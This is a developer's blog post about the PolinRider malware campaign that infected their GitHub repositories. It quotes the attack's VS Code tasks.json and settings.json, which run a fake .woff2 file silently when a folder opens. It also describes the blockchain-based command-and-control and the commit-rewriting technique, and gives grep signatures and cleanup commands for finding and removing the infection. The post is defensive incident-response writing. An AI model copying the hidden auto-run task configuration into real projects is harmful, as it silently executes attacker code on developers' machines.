Field notes
A VS Code task turned my GitHub repos into malware droppers. Here is how the PolinRider campaign works and how I cleaned up.
In August 2026 I found three files in my portfolio repository that I had never written. Opening the folder in VS Code was enough to run them. This is what the campaign looks like from the victim's side, the exact signatures that find it, and the four cleanup mistakes I made.
TL;DR — If you open cloned repositories in VS Code or Cursor: run Tasks: Manage Automatic Tasks → Disallow, grep your repos for /0x/cls and for .woff2 files that do not start with the bytes wOF2, and check every .vscode/tasks.json for "runOn": "folderOpen". Scan every branch, not just main.
How I found it
I was auditing my portfolio site's git history for an unrelated scroll bug when git show --stat showed something odd: a commit that added sixteen Font Awesome files, fifteen listed as Bin and one, public/fonts/fa-solid-400.woff2, listed as 1 +. A font file that git thinks is a one-line text file.
It was one line of obfuscated Node.js, preceded by several hundred spaces so that it looks empty in an editor. And the name is subtly wrong: Font Awesome 5's solid face is fa-solid-900. The fifteen real fonts around it are camouflage.
Two more files completed the chain:
// .vscode/tasks.json (abridged)
{
"label": "eslint-check",
"type": "shell",
"command": "node ./public/fonts/fa-solid-400.woff2",
"runOptions": { "runOn": "folderOpen" },
"presentation": { "reveal": "never" },
"hide": true
}
// .vscode/settings.json
{
"task.allowAutomaticTasks": true,
"terminal.integrated.hideOnStartup": "always"
}
runOn: folderOpen makes VS Code run the task when the folder is opened. task.allowAutomaticTasks removes the confirmation prompt. reveal: never and hide: true keep it out of the terminal and the task list. No click, no build, no npm install — opening the folder is the exploit.
What the payload does
Without executing anything, reading the de-obfuscated code was enough: it resolves its command-and-control address from a blockchain transaction (the "EtherHiding" technique — public RPC endpoints, so the traffic looks like ordinary web requests and the operators can move servers without touching the code), downloads a second stage, evals it, and re-spawns itself detached so it survives the editor closing. Public analyses of the second stage describe an infostealer that goes after browser passwords and cookies, password-manager extensions, crypto wallets, and — the part that mattered for me — git credentials, GitHub CLI and GitHub Desktop tokens, and the OS credential store.
The campaign is tracked as PolinRider (with links to TasksJacker and the DPRK "Contagious Interview" operation). OpenSourceMalware counted 1,951 compromised public repositories from 1,047 owners as of April 2026 — I was one of about a thousand, not a target.
The part that fooled me: commits that were never "added"
The malware never arrives in a commit of its own. It arrives in a rewrite of one of your legitimate commits: same message, same author date, same commit date to the second. In my history, the only differences between the real commit and its evil twin were the committer name (Raed instead of Raed Ouiriemmi) and the committer time zone (−0700, +0300… I am in UTC+1). git diff between the two, restricted to the site's files, was empty. It is designed to pass a quick review.
The tool that does this is a published indicator of compromise called temp_auto_push.bat: it reads the last commit's metadata, changes the system clock to the original timestamp, amends the commit with the payload, restores the clock and force-pushes. It also added a .gitignore entry for itself, so its future edits never showed in git status.
Which raises the real question — who pushed? Personal-account security logs on GitHub do not record pushes, and they do not export IP addresses. What does work: the repository activity endpoint, GET /repos/{owner}/{repo}/activity, readable with any read access. It records the actor, the server-side timestamp, before → after SHAs and whether it was a force-push. That is how I established that the pushes came from a third machine using my stolen credentials, not from my own PC.
Three camouflages, one payload
Scanning by file name found three infected repositories. Scanning by content found eight. The same payload hides in three ways:
- the fake
.woff2plus thefolderOpentask — the only variant that runs on its own; - a ~9 KB line appended after the closing
];ofeslint.config.js, after a long run of whitespace; - appended to
postcss.config.mjs/postcss.config.js/next.config.ts— executed on every build by the framework.
The signatures that held up:
# obfuscated C2 path + RPC provider + escaped "http"
grep -rlaE '/0x/cls|/0x/ls|TronGrid|u0068.{0,2}u0074.{0,2}u0074.{0,2}u0070' .
# a "font" whose magic bytes are wrong (real ones start with wOF2 / wOFF / OTTO)
find . -name '*.woff2' -exec sh -c 'head -c4 "$1" | grep -q wOF2 || echo "FAKE: $1"' _ {} \;
# auto-running VS Code tasks
grep -rl '"runOn": *"folderOpen"' --include=tasks.json .
Two things I got wrong first:
windowsHideis a terrible marker. It is a legitimate Node option; used alone it flagged sixty files in VS Code Server, Playwright and Copilot. The discriminating string is the C2 path.- Counting occurrences discriminates nothing. The payload is minified onto one line, so a real infection contains
/0x/clsexactly once — the same as a note that merely mentions it. The right test is does this file contain executable code around the string, e.g.unref()andwindowsHidewithin a few hundred bytes of the URL.
Cleanup, and the four mistakes
The obvious part: rewrite history to drop the files, and force-push.
git filter-branch --force --prune-empty \
--index-filter 'git rm -r --cached --ignore-unmatch .vscode public' \
-- --all
Check the result by content, not by trust: the final tree must be byte-identical to the last clean commit, and no blob in the repository may match the signature. Then the mistakes.
1. Old commits stay downloadable. After a force-push, the removed commits are unreachable — but GitHub does not garbage-collect immediately, and raw.githubusercontent.com/<owner>/<repo>/<old-sha>/public/fonts/... still answered 200 for weeks. Anyone with the SHA could still fetch the payload from my namespace. For repositories that can be recreated, delete and recreate the repository; for the one serving GitHub Pages with a custom domain, I had to ask GitHub Support for a garbage collection.
2. Your local clone keeps the payload too. git gc --prune=now did nothing, because the old commit was still reachable from three places I had not thought of: refs/original/ (filter-branch's backup), the remote-tracking ref refs/remotes/origin/main (which may live in packed-refs, not as a loose file), and the reflogs.
rm -rf .git/refs/original .git/ORIG_HEAD .git/FETCH_HEAD
git update-ref refs/remotes/origin/main <clean-sha>
git reflog expire --expire=now --expire-unreachable=now --all
git gc --prune=now
git cat-file -e <payload-blob-sha> && echo STILL THERE # must fail
Verify with git cat-file -e, not with the size of .git.
3. grep -r cannot see inside .git. Objects are zlib-compressed. To scan a repository's object database you iterate git cat-file --batch-all-objects; to scan a .bundle you have to clone it first. My "clean" declaration was wrong twice for this reason — the third scan found the payload in nine throwaway clones I had made during the investigation.
4. Branches. One repository had four branches. I cleaned main and declared victory; the payload sat on the other three for two more days. filter-branch -- --all, then re-scan every branch.
What actually stops it
- VS Code:
Tasks: Manage Automatic Tasks→ Disallow, and keep Workspace Trust on. A repository'ssettings.jsoncan ask for automatic tasks; your user setting decides. - Git hosting: a ruleset that blocks force-pushes on every repository. The entire incident, on every repository involved, was a sequence of force-pushes that nothing prevented.
- Credentials: treat every secret the infected machine could read as stolen — rotate from a different device: passwords, PATs, SSH keys, OAuth grants, and check for deploy keys, which are per-repository and invisible in your account settings. 2FA was on and it changed nothing: the attacker used an already-valid token, and 2FA only guards logins.
- Monitoring: I now run a read-only watcher that records every branch SHA of every repository every 30 minutes, and scans changed repositories by content. A force-push or a branch that moves backwards is a Telegram message within the half hour.
- Take-home tests and "starter" repositories are the delivery vehicle. Open them in a container or a VM, never in your daily editor with your daily credentials.
This is also why my GitHub repositories are private for now: the affected histories are being rewritten before anything goes public again. Until then, the code of any project on this site is available on request.